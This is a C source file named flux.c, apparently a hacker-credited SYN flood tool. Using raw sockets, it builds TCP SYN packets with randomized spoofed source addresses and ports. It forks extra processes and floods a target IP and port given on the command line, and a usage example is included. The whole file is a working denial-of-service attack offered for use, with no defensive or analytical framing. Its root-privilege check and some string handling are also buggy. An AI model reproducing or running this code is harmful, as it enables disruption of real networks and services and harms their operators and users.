flux.c

#include <stdio.h> 
#include <netinet/in.h> 
#include <netdb.h> 
#include <sys/time.h> 
#include <sys/types.h> 
#include <unistd.h> 
#include <stdlib.h> 
#include <signal.h> 
#include <time.h> 
void usage();                             
void getUserPriv();                        
int getSrcPort();                        
const char credit[] = "made by th3 $^N|)M^N, gr33tz to all!!!"; 
struct packet { 
  unsigned short ihl:4; 
  unsigned short ver:4;   
  unsigned char tos; 
  unsigned short len; 
  unsigned short id; 
  unsigned short flag_offset; 
  unsigned char ttl; 
  unsigned char prot; 
  unsigned short ipsum; 
  unsigned long source; 
  unsigned long dest; 
  unsigned short sport; 
  unsigned short dport; 
  unsigned long seq; 
  unsigned long ack_seq; 
  unsigned char offset; 
  unsigned char flags; 
  unsigned short win; 
  unsigned short tcpsum; 
  unsigned short urgptr; 
  char option[8];     
}; 

FILE *fp; 

main(int argc, char * argv[]){ 
   getUserPriv();        //check user priv 
  
   if (argc < 5){ 
       usage();    //exit if argument failure 
   } 
   int tmp = 1; 
   int forks = atoi(argv[3]);        
  
   /*forks defined here, depends on the number of threads user asked for.*/ 
   for (tmp = 0; tmp < forks; tmp++) fork(); 
  
   int a1,a2,a3,a4; 
   char a1s[20],a2s[20],a3s[20],a4s[20]; 
  
   /*lets open da socket and define it be raw*/ 
   int sockd = socket(PF_INET, SOCK_RAW, 6); 
  
   /*call HDRINCL and let the kernel know we do the talking :)*/ 
   if (setsockopt (sockd, IPPROTO_IP, IP_HDRINCL, (char *)&tmp, sizeof (tmp)) < 0){ 
       printf("Error in setting HDRINCL"); 
       exit(0); 
   } 
  
   /*create packet struct */ 
   struct packet synp; 
   bzero(&synp,sizeof(struct packet)); /*zero out the struct*/ 
  
   /*init sin struct*/ 
   struct sockaddr_in sin; 
  
   /*take host port and convert to unsigned short*/ 
   unsigned short hport = atoi(argv[2]); 
   int packets = atoi(argv[4]);        //number of packets 
  
   if (packets == 0) packets = -1;        //if user wants infinite, set packets to -1 
  
   int counter = 0;  //counter for the while loop. 
      
      printf("Syn Flooding: %­s at port: %­s\n", argv[1],argv[2]); 
      
      while(counter != packets){ 
       synp.ihl             = 5; 
       synp.ver         = 4; 
          synp.len             = htons(sizeof(struct packet)); 
       synp.flag_offset     = 0; 
       synp.prot           = 6; 
       synp.flags           = 2; 
       synp.ttl             = 225; 
       synp.offset          = 112; 
       synp.win             = htons(65535); 
  
          synp.dport        = htons(hport);        //destination port... 
      
       //set packet options. 
       synp.option[0]          = 2; 
       synp.option[1]          = 4; 
       synp.option[2]          = 5; 
       synp.option[3]          = 0xB4; 
       synp.option[4]          = 1; 
       synp.option[5]          = 1; 
          synp.option[6]          = 4; 
          synp.option[7]          = 2; 
      
          synp.tcpsum = 0;     //zero the sum for now... 

          register int count = (sizeof(struct packet)-20) >> 1,sum; 
           register unsigned short *p = &synp.sport;   
      
          int srcp = getSrcPort();    //generate random port. 
          
          //Generate Random Ip for src 
          a1 = (int)((rand()%(255-10+1)) + 10); 
       a2 = (int)((rand()%(255-10+1)) + 10); 
       a3 = (int)((rand()%(255-10+1)) + 10); 
       a4 = (int)((rand()%(255-10+1)) + 10); 
      
       sprintf(a1s, "%d", a1); 
       sprintf(a2s, "%d", a2); 
       sprintf(a3s, "%d", a3); 
       sprintf(a4s, "%d", a4); 
      
       strcat(a1s,"."); 
       strcat(a2s,"."); 
       strcat(a3s,"."); 
       strcat(a1s,a2s); 
       strcat(a1s,a3s); 
       strcat(a1s,a4s); 
          // 
          
          synp.sport           = htons(srcp);          //source port [RANDOMIZED] 
          synp.source            = inet_addr (a1s);       //our source address [RANDOMIZED] 
          synp.seq               = random(); 
          synp.ack_seq           = random(); 
          
          synp.id                = htons(1+255*((random()%256)|0xFF));    //random id 
      
       synp.dest = inet_addr (argv[1]); 
          
       sin.sin_family = AF_INET;          /*define internet domain*/ 
       sin.sin_port = synp.dport;          /*define dest port.*/ 
       sin.sin_addr.s_addr = synp.dest;       /*define host address*/ 
  
       /*calc header checksum*/             
           sum = (synp.source >> 16) + (synp.source & 0xffff) + (synp.dest >> 16) + 
           (synp.dest & 0xffff) + 1536 + htons(count << 1); 
          while(count--) sum += *p++; 
          sum = (sum >> 16) + (sum & 0xffff); 
          synp.tcpsum = ~(sum += (sum >> 16)); 
       // 
          
       /*Send da baby*/ 
       if (sendto (sockd,&synp,sizeof(struct packet),0,(struct sockaddr *)&sin,sizeof(struct sockaddr_in)) < 0){ 
           printf("Sendto error!"); 
           exit(0); 
       } 
      
       counter = counter + 1; 
   } 
} 

/*usage func*/ 
void usage(){ 
   printf("Usage:\n"); 
   printf("./flux ip port threads amount_of_packets(0 = max)\n"); 
   printf("./flux 111.222.333.444 80 3 500\n"); 
   exit(0); 
} 

/*user priv func, just checking for root.*/ 
void getUserPriv(){ 
   char command[80] = "whoami > priv"; 
   char command2[80] = "rm priv"; 
   char fname[30] = "priv"; 
   char user[20]; 
   system(command); 
  
   fp = fopen(fname, "r"); 
   fscanf(fp, "%­s",&user); 
   fclose(fp); 
   system(command2); 
  
   if (strcmp(user,"root") == 1){ 
       printf("Need root privelages to run...\n"); 
       exit(0); 
   } 
} 
/*random port generator func. */ 
int getSrcPort(){ 
   int  port = (rand()%(60000-2000+1)) + 2000; 
   return port; 
   }